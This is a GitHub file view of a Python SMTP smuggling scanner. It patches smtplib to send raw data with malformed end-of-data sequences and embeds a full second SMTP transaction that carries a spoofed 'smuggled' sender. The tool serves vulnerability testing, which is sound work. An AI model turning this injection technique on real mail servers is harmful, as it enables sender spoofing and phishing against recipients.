forked from The-Login/SMTP-Smuggling-Tools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsmtp_smuggling_scanner.py
424 lines (366 loc) · 17.2 KB
/
smtp_smuggling_scanner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
from colorama import Style
from colorama import Fore
import dns.resolver
import email.utils
import argparse
import datetime
import smtplib
import socket
smtp_connection_timeout = 5
current_server_replies = []
# To reduce false positives, eod sequences for inbound testing have been reduced for now (https://github.com/The-Login/SMTP-Smuggling-Tools/issues/6)
inbound_eod_sequences = [
"\n.\n",
"\n.\r",
"\r.\n",
"\r.\r",
"\n.\r\n",
"\r.\r\n",
"\r\n\x00.\r\n"
]
outbound_eod_sequences = [
"\n.\n",
"\n.\r",
"\r.\n",
"\r.\r",
"\n.\r\n",
"\r.\r\n",
"\r\n.\r\r\n",
"\r\r\n.\r\r\n",
"\r\n\x00.\r\n"
]
examples = """Examples
Scanning inbound SMTP servers:
python3 smtp_smuggling_scanner.py --setup-check YOUR@EMAIL.ADDRESS
python3 smtp_smuggling_scanner.py YOUR@EMAIL.ADDRESS
Scanning outbound SMTP servers:
python3 smtp_smuggling_scanner.py YOUR@RECEIVER.ADDRESS --outbound-smtp-server SOMESERVER.SMTP.SERVER --port 587 --starttls --sender-address YOUR@EMAIL.ADRESS --username YOUR@EMAIL.ADRESS --password PASSWORD --setup-check
python3 smtp_smuggling_scanner.py YOUR@RECEIVER.ADDRESS --outbound-smtp-server SOMESERVER.SMTP.SERVER --port 587 --starttls --sender-address YOUR@EMAIL.ADRESS --username YOUR@EMAIL.ADRESS --password PASSWORD
"""
class out:
def green(self, msg):
print(Fore.GREEN + msg + Style.RESET_ALL)
def blue(self, msg):
print(Fore.BLUE + msg + Style.RESET_ALL)
def cyan(self, msg):
print(Fore.CYAN + msg + Style.RESET_ALL)
def red(self, msg):
print(Fore.RED + msg + Style.RESET_ALL)
def yellow(self, msg):
print(Fore.YELLOW + msg + Style.RESET_ALL)
def magenta(self, msg):
print(Fore.MAGENTA + msg + Style.RESET_ALL)
def alert(self, msg):
print(Fore.RED + "[!] " + msg + Style.RESET_ALL)
def info(self, msg):
print(Fore.BLUE + "[*] " + msg + Style.RESET_ALL)
def success(self, msg):
print(Fore.GREEN + "[+] " + msg + Style.RESET_ALL)
def debug(self, msg):
if debug:
print(Fore.CYAN + "[DEBUG] " + msg + Style.RESET_ALL)
##### Adapted smtplib's getreply(): https://github.com/python/cpython/blob/main/Lib/smtplib.py#L82
def new_getreply(self):
global current_server_replies
resp = []
if self.file is None:
self.file = self.sock.makefile('rb')
while 1:
try:
line = self.file.readline(smtplib._MAXLINE + 1)
except OSError as e:
self.close()
raise smtplib.SMTPServerDisconnected("Connection unexpectedly closed: " + str(e))
if not line:
self.close()
raise smtplib.SMTPServerDisconnected("Connection unexpectedly closed")
if self.debuglevel > 0:
self._print_debug('reply:', repr(line))
if len(line) > smtplib._MAXLINE:
self.close()
raise smtplib.SMTPResponseException(500, "Line too long.")
resp.append(line[4:].strip(b' \t\r\n'))
code = line[:3]
# Check that the error code is syntactically correct.
# Don't attempt to read a continuation line if it is broken.
try:
errcode = int(code)
except ValueError:
errcode = -1
break
# Check if multiline response.
if line[3:4] != b"-":
break
errmsg = b"\n".join(resp)
if self.debuglevel > 0:
current_server_replies.append({"code": errcode, "message": errmsg.decode()})
self._print_debug('reply: retcode (%s); Msg: %a' % (errcode, errmsg))
return errcode, errmsg
##### Adapted smtplib's way of handling data
def new_data(self, msg):
self.putcmd("data")
(code, repl) = self.getreply()
if self.debuglevel > 0:
self._print_debug('data:', (code, repl))
if code != 354:
raise SMTPDataError(code, repl)
else:
##### Patching input encoding so we can send raw messages
#if isinstance(msg, str):
# msg = smtplib._fix_eols(msg).encode('ascii')
#q = smtplib._quote_periods(msg)
#if q[-2:] != smtplib.bCRLF:
# q = q + smtplib.bCRLF
#q = q + b"." + smtplib.bCRLF
q = msg
self.send(q)
(code, msg) = self.getreply()
if self.debuglevel > 0:
self._print_debug('data:', (code, msg))
return (code, msg)
##### Used for bypassing some functionalities in smtplib
def return_unchanged(data):
return data
##### Checks the used test setup for inbound scanning by sending a test e-mail
def check_inbound_setup(inbound_smtp_server, sender_domain, receiver_address, tls, starttls, port):
global current_server_replies
current_server_replies = []
try:
if tls:
server = smtplib.SMTP_SSL(inbound_smtp_server, port, timeout=smtp_connection_timeout)
else:
server = smtplib.SMTP(inbound_smtp_server, port, timeout=smtp_connection_timeout)
if debug:
server.set_debuglevel(1)
if not tls and starttls:
server.starttls()
mail_date = email.utils.format_datetime(datetime.datetime.now())
message_id = email.utils.make_msgid(domain=sender_domain)
server.ehlo(sender_domain)
sender_address = f"setup_check@{sender_domain}"
check_message = """\
From: {sender_address}
To: {receiver_address}
Subject: SETUP CHECK
Date: {mail_date}
Message-ID: {message_id}
Your inbound setup seems to be working! You can now proceed with smuggling tests!
.
"""
check_message = _fix_eols(check_message)
check_message = check_message.format(sender_address=sender_address, receiver_address=receiver_address, mail_date=mail_date, message_id=message_id)
server.sendmail(sender_address, [receiver_address], check_message)
out.success("Sent setup e-mail! Check your inbox!")
while True:
server.getreply()
except socket.error:
for reply in enumerate(current_server_replies):
out.debug(str(reply))
pass
return True
except Exception as e:
out.debug(str(e))
try:
server.quit()
return True
except Exception as e:
pass
return True
##### Checks the used test setup for outbound scanning by sending a test e-mail
def check_outbound_setup(outbound_smtp_server, sender_address, receiver_address, username, password, smuggling_identifier, tls, starttls, port):
global current_server_replies
current_server_replies = []
try:
if tls:
server = smtplib.SMTP_SSL(outbound_smtp_server, port, timeout=smtp_connection_timeout)
else:
server = smtplib.SMTP(outbound_smtp_server, port, timeout=smtp_connection_timeout)
if debug:
server.set_debuglevel(1)
if not tls and starttls:
server.starttls()
if username != False and password != False:
server.login(username, password)
check_message = """\
From: {sender_address}
To: {receiver_address}
Subject: SETUP CHECK
{smuggling_identifier_start}
Your outbound setup seems to be working! You can now proceed with smuggling tests!
{smuggling_identifier_end}
.
"""
check_message = _fix_eols(check_message)
check_message = check_message.format(sender_address=sender_address, receiver_address=receiver_address, smuggling_identifier_start=smuggling_identifier + "START", smuggling_identifier_end=smuggling_identifier + "END")
server.sendmail(sender_address, [receiver_address], check_message)
out.success("Sent setup e-mail! Check your inbox!")
while True:
server.getreply()
except socket.error:
for reply in enumerate(current_server_replies):
out.debug(str(reply))
pass
return True
except Exception as e:
out.debug(str(e))
try:
server.quit()
return True
except Exception as e:
pass
return True
##### Performs multiple inbound SMTP smuggling checks with a range of non-RFC compliant end-of-data sequences
def check_inbound_smuggling(inbound_smtp_server, sender_domain, receiver_address, tls, starttls, port):
for eod_sequence in inbound_eod_sequences:
global current_server_replies
current_server_replies = []
eod_sequence_string = repr(eod_sequence)
try:
if tls:
server = smtplib.SMTP_SSL(inbound_smtp_server, port, timeout=smtp_connection_timeout)
else:
server = smtplib.SMTP(inbound_smtp_server, port, timeout=smtp_connection_timeout)
if debug:
server.set_debuglevel(1)
if not tls and starttls:
server.starttls()
mail_date = email.utils.format_datetime(datetime.datetime.now())
message_id = email.utils.make_msgid(domain=sender_domain)
message_id2 = email.utils.make_msgid(domain=sender_domain)
server.ehlo(sender_domain)
sender_address = f"test@{sender_domain}"
sender_address_smuggled = f"smuggled@{sender_domain}"
check_message = """\
From: {sender_address}
To: {receiver_address}
Subject: CHECK EMAIL ({eod_sequence_string})
Date: {mail_date}
Message-ID: {message_id}
TESTING {eod_sequence_string} as "fake" end-of-data sequence!
{inject}
mail FROM:<{sender_address_smuggled}>
rcpt TO:<{receiver_address}>
data
From: {sender_address_smuggled}
To: {receiver_address}
Subject: SMUGGLED EMAIL ({eod_sequence_string})
Date: {mail_date}
Message-ID: {message_id2}
SMUGGLING WORKS with {eod_sequence_string} as "fake" end-of-data sequence!
.
"""
check_message = _fix_eols(check_message)
check_message = check_message.format(inject=eod_sequence, eod_sequence_string=eod_sequence_string, sender_address=sender_address, sender_address_smuggled=sender_address_smuggled, receiver_address=receiver_address, mail_date=mail_date, message_id=message_id, message_id2=message_id2)
server.sendmail(sender_address, [receiver_address], check_message)
out.success(f"Sent smuggling e-mail for end-of-data sequence {eod_sequence_string}! Check your inbox!")
while True:
server.getreply()
except socket.error as e:
out.debug(str(e))
for reply in enumerate(current_server_replies):
out.debug(str(reply))
pass
continue
except Exception as e:
out.debug(str(e))
try:
server.quit()
continue
except Exception as e:
pass
continue
##### Performs multiple outbound SMTP smuggling checks with a range of non-RFC compliant end-of-data sequences
def check_outbound_smuggling(outbound_smtp_server, sender_address, receiver_address, username, password, smuggling_identifier, tls, starttls, port):
for eod_sequence in outbound_eod_sequences:
global current_server_replies
current_server_replies = []
eod_sequence_string = repr(eod_sequence)
try:
if tls:
server = smtplib.SMTP_SSL(outbound_smtp_server, port, timeout=smtp_connection_timeout)
else:
server = smtplib.SMTP(outbound_smtp_server, port, timeout=smtp_connection_timeout)
if debug:
server.set_debuglevel(1)
if not tls and starttls:
server.starttls()
if username != False and password != False:
server.login(username, password)
check_message = """\
From: {sender_address}
To: {receiver_address}
Subject: Trying EOD ({eod_sequence_string})
TESTING {eod_sequence_string} as "fake" end-of-data sequence!
{smuggling_identifier_start}
{inject}
{smuggling_identifier_end}
.
"""
check_message = _fix_eols(check_message)
check_message = check_message.format(sender_address=sender_address, receiver_address=receiver_address, eod_sequence_string=eod_sequence_string, smuggling_identifier_start=smuggling_identifier + "START", inject=eod_sequence, smuggling_identifier_end=smuggling_identifier + "END")
server.sendmail(sender_address, [receiver_address], check_message)
out.success(f"Sent smuggling e-mail for end-of-data sequence {eod_sequence_string}! Check your inbox!")
while True:
server.getreply()
except socket.error:
for reply in enumerate(current_server_replies):
out.debug(str(reply))
pass
continue
except Exception as e:
out.debug(str(e))
try:
server.quit()
continue
except Exception as e:
pass
continue
if __name__ == '__main__':
_fix_eols = smtplib._fix_eols
smtplib._fix_eols = return_unchanged
smtplib._quote_periods = return_unchanged
smtplib.SMTP.data = new_data
smtplib.SMTP.getreply = new_getreply
out = out()
# General arguments
argument_parser = argparse.ArgumentParser(prog="SMTP Smuggling Scanner", description="A tool for finding SMTP smuggling issues in inbound/receiving and outbound/sending SMTP servers.", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)
argument_parser.add_argument("receiver_address", help="The receiver address to use. Make sure this is a valid e-mail address.", nargs=1)
# Arguments for inbound testing
argument_parser.add_argument("--sender-domain", help="The sender domain to use. Make sure you have a valid SPF record for this domain.",default="check.smtpsmuggling.com")
argument_parser.add_argument("--inbound-smtp-server", help="Manually specify the receiving/inbound SMTP server to check.", default=False)
# Arguments for outbound testing
argument_parser.add_argument("--outbound-smtp-server", help="The address of the outbound SMTP server (mail submission agent) to use.", default="")
argument_parser.add_argument("--sender-address", help="The (outbound) sender address to use.",default="")
argument_parser.add_argument("--username", help="Username for (outbound) authentication.", default=False)
argument_parser.add_argument("--password", help="Password for (outbound) authentication.", default=False)
argument_parser.add_argument("--smuggling-identifier", help="Identifier for highlighting on a receiving SMTP analysis server.", default="SMUGGLING")
# Arguments for all testing
argument_parser.add_argument("--setup-check", help="Check if your setup is working by sending a test e-mail.", action="store_true")
argument_parser.add_argument("--tls", help="Enforce the usage of TLS. (Don't forget changing the port!)", action="store_true")
argument_parser.add_argument("--starttls", help="Enforce the usage of STARTTLS. (often required for sending outbound e-mails)", action="store_true")
argument_parser.add_argument("--debug", help="Output debug info.", action="store_true")
argument_parser.add_argument("-p", "--port", help="The port to use.", type=int, default=25)
args = argument_parser.parse_args()
debug = args.debug
receiver_domain = args.receiver_address[0].split("@")[1]
if args.inbound_smtp_server == False and not args.outbound_smtp_server:
out.info(f"Getting MX record for domain: {receiver_domain}")
try:
inbound_smtp_server = str(dns.resolver.resolve(receiver_domain, 'MX')[0].exchange)
except Exception as e:
out.alert(f"Didn't find an MX record for domain {receiver_domain}! Is this a valid receiver domain?")
quit()
elif args.inbound_smtp_server:
inbound_smtp_server = args.inbound_smtp_server
if args.setup_check and not args.outbound_smtp_server:
out.info("Running inbound setup check!")
check_inbound_setup(inbound_smtp_server, args.sender_domain, args.receiver_address[0], args.tls, args.starttls, args.port)
elif not args.setup_check and not args.outbound_smtp_server:
out.info("Running inbound SMTP smuggling check!")
check_inbound_smuggling(inbound_smtp_server, args.sender_domain, args.receiver_address[0], args.tls, args.starttls, args.port)
elif args.setup_check and args.outbound_smtp_server:
out.info("Running outbound setup check!")
check_outbound_setup(args.outbound_smtp_server, args.sender_address, args.receiver_address[0], args.username, args.password, args.smuggling_identifier, args.tls, args.starttls, args.port)
elif not args.setup_check and args.outbound_smtp_server:
out.info("Running outbound SMTP smuggling check!")
check_outbound_smuggling(args.outbound_smtp_server, args.sender_address, args.receiver_address[0], args.username, args.password, args.smuggling_identifier, args.tls, args.starttls, args.port)